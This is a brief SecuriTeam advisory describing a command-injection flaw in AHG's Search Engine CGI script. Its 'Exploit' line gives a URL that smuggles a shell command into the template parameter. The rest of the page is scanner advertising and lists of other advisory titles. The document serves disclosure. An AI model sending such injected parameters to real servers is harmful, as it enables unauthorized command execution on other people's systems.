SecuriTeam - Bug in AHG Search Engines Leads to Code Execution

Brought to you by:

Suppliers of:

AHG's Search Engine can search sites with a maximum of 500 - 800 pages. A security vulnerability in the product allows execution of arbitrary code.

Credit:
The information has been provided by Aleksey Sintsov.

Website Security Scan	Code Vulnerability Test	Network Assessment Tool
Detect hidden vulnerabilities	Exhaustive automated testing	Real-time, continuous security
Get guidance from professionals	of internal or 3rd party code.	scanning for your entire network

Protect your website!
Use an External Vulnerability Scanner!
Nothing to install. First report in 1 hour!
www.beyondsecurity.com/vulnerability-scanner

Exploit:
For example, to list the current directory:
http://www.example.com/cgi-bin/publisher/search.cgi?dir=jobs&template=;ls|&output_number=10

	LedgerSMB Multiple Vulnerabilities
	Kaspersky Lab Multiple Products Local Privilege Escalation Vulnerability
	Piwik Cookie Unserialize Vulnerability
	Invision Power Board SQL PHP File Inclusion and SQL Injection
	U.S. Defense Information Systems Agency (DISA) Unix Security Readiness Review (SRR) Vulnerability
	DevIL DICOM Buffer Overflow Vulnerability
	Marvell Driver Multiple Information Element Overflows
	HP Data Protector Express and Single Server Edition (SSE) DoS and Code Execution
	HP Color LaserJet Printers Unauthorized Access to Data and DoS
	KDE KDELibs Remote Array Overrun with Arbitrary Code Execution
	Gimp BMP Image Parsing Integer Overflow Vulnerability
	Avast aswRdr.sys Kernel Pool Corruption and Local Privilege Escalation
	WordPress Unrestricted File Upload Arbitrary PHP Code Execution
	Atheros Driver Reserved Frame DoS Vulnerability
	McAfee Security Manager Authentication Bypass and Session Hijacking Vulnerability

Featured Articles

	Microsoft Embedded OpenType Font Engine Heap Buffer Overflow (MS09-029)
	Virtualmin Multiple Vulnerabilities
	Microsoft WordPad Word97 Converter Stack Buffer Overflow Vulnerability (MS09-010)
	WordPress Unchecked Privileges in admin.php and Multiple Information Disclosures
	Microsoft PowerPoint Conversion Filter Heap Corruption Vulnerability (MS09-017)
	Adobe Shockwave Player Director File Parsing Pointer Overwrite
	Mozilla Firefox Java Applet Loading Vulnerability